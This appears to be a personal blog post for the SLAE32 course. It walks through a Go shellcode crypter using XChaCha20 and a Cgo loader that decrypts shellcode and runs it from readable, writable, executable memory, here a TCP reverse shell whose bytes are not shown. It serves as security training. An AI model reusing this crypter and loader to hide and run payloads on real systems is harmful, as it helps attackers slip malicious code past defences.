Introduction

As final assignment for the SLAE32 course, we are going to create a shellcode crypter, and a simple shellcode loader with Cgo . I’ve been wanting to try out Cgo for a while, so I thought this would be a great opportunity to experiment with it.

Shellcode Crypter

I initially wrote the crypter with Python and PyNaCl, but since lately I’ve been using Go for all of my projects, I decided to rewrite the crypter in Go (I included both versions in the github repo .

The crypter perform the following operations:

  • reads the shellcode bytes from the provided binary file (with -i flag)
  • generates random key and nonce, which change each time the crypter is run
  • encrypts the shellcode using the XChaCha20 algorithm, implemented in the golang.org/x/crypto/chacha20poly1305 library.

If all the above operations have completed successfully, the crypter will print the random key and the encrpyted shellcode to stdout with Go bytearray format.

Here is the source code for the crypter:

package main

import (
	"crypto/rand"
	"flag"
	"fmt"
	"io/ioutil"
	"os"

	"golang.org/x/crypto/chacha20poly1305"
)

[...]

const keysize = 32 // encryption key size (32-bytes = 256-bit)

func main() {
	var shellcodeFile string

    // [...] CLI flags parsing

	shellcode := readShellcodeFile(shellcodeFile)

	fmt.Println("[+] Generating random 256-bits key ...\n")
	key := make([]byte, keysize)
	if _, err := rand.Read(key); err != nil {
		panic(err)
	}
	printBytearray("key", key[:])

	// XChaCha20-Poly1305 AEAD
	aead, _ := chacha20poly1305.NewX(key[:])

	// Get random nonce and leave space for encrypted shellcode
	fmt.Println("[+] Generating random nonce ...")
	nonce := make(
        []byte,
        aead.NonceSize(),
        aead.NonceSize()+len(shellcode)+aead.Overhead(),
    )
	if _, err := rand.Read(nonce); err != nil {
		panic(err)
	}

	// Encryption (output: nonce+enc_shellcode)
	fmt.Println("[+] Encrypting shellcode ...\n")
	var encSc []byte
	encSc = aead.Seal(nonce, nonce, shellcode, nil)
	printBytearray("scBuf", encSc)
}

We now need to compile the code. I usually use make to avoid having to remember all the flags of each compiler, but in this case a simple go build would have done it as well. Anyways, if you wish to use make, you can use the following build target:

.PHONY: crypter
crypter:
	@echo "[*] building crypter ..." && \
	cd crypter; CGO_ENABLED=0 go build \
		-o ../dist/crypter main.go

All done. After choosing the shellcode to use (in this case a pretty basic TCP reverse shell one), we can run the crypter to generate the key and the encrypted shellcode:

running shellcode crypter

Shellcode Loader

As mentioned above for the loader, we are going to take advantage of Cgo, and implement the process injection capabilities in C. Using Cgo is very simple, we just need to follow its convention, which requires importing the C pseudo-package, and writing the C code as comment, right above it.

Since we are calling C code from a Go executable, we also need to tweak the C template we used in the previous assignments, to avoid placing the shellcode on the stack, since the Go compiler by design marks the stack as non-executable.

This time we’re allocating a large-enough memory space to hold our shellcode, in the process VAS (virtual address space) by calling the mmap function, which works similarly to the VirtualAlloc function on Windows. Here’s the function signature with added comments:

 #include <sys/mman.h>

// returns a pointer to the mapped area
void *mmap(
    void *addr,     // address or null to let the kernel choose a page-aligned address
    size_t length,  // size of the allocated memory region
    int prot,       // desired memory protection
    int flags,      // mappings updates visibility flags
    int fd,         // file descriptor
    off_t offset    // offset in file
);

Finally, to call the execute function, we also need to use the unsafe library and pass a pointer to the start of the allocated memory with the shellcode (and its size) as function arguments. This is needed since Go is a memory-safe language, and accessing the memory directly is not allowed.

And here’s the code for the loader:

package main

/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

void execute(char *shellcode, size_t length) {
  unsigned char *sc_ptr;
  sc_ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  memcpy(sc_ptr, shellcode, length);
  (*(void(*) ()) sc_ptr)();
}
*/
import "C"

import (
	"fmt"
	"unsafe"

	"golang.org/x/crypto/chacha20poly1305"
)

func main() {
	key := []byte{
		0x17, 0x10, 0x43, 0x7b, 0x7f, 0xb1, ...
	}
	scBuf := []byte{
		0xc4, 0xdc, 0xd5, 0x72, 0xdd, 0xec, ...
	}

	aead, err := chacha20poly1305.NewX(key)
	if err != nil {
		panic(err)
	}

	if len(scBuf) < aead.NonceSize() {
		panic("[!] ERROR. Chiphertext too short")
	}

	// Split nonce and ciphertext.
	nonce, ciphertext := scBuf[:aead.NonceSize()], scBuf[aead.NonceSize():]

	// Decryption
	fmt.Println("[+] Decrypting shellcode ...")
	shellcode, err := aead.Open(nil, nonce, ciphertext, nil)
	if err != nil {
		panic(err)
	}

	fmt.Println("[+] Running shellcode ...")
	C.execute((*C.char)(unsafe.Pointer(&shellcode[0])), (C.size_t)(len(shellcode)))
}

Once gain we can compile the shellcode loader with Cgo support using the following make target:

.PHONY: loader
loader:
	@echo "[*] building loader ..." && \
	cd loader; CGO_ENABLED=1 go build \
		-o ../dist/loader main.go

Great. Let’s launch the loader to decrypt and execute the shellcode in memory:

running shellcode loader

Final thoughts

Final mission complete!

This was the last assignment for the SLAE32 course. Even thought I’ve never bothered to submit the fee to redeem the course completion certificate (I had the monthly subscription with limited credits to access the videos), the SLAE32 course from PentesterAcademy was definitely a pretty good and informative one. I had a lot of fun completing all the assignments, and learned a few neat tricks along the way.

If you want to check out the code used to complete this and all the other course assignment, you can refer to the slae32 repository in my Github.

Thank you for reading!

References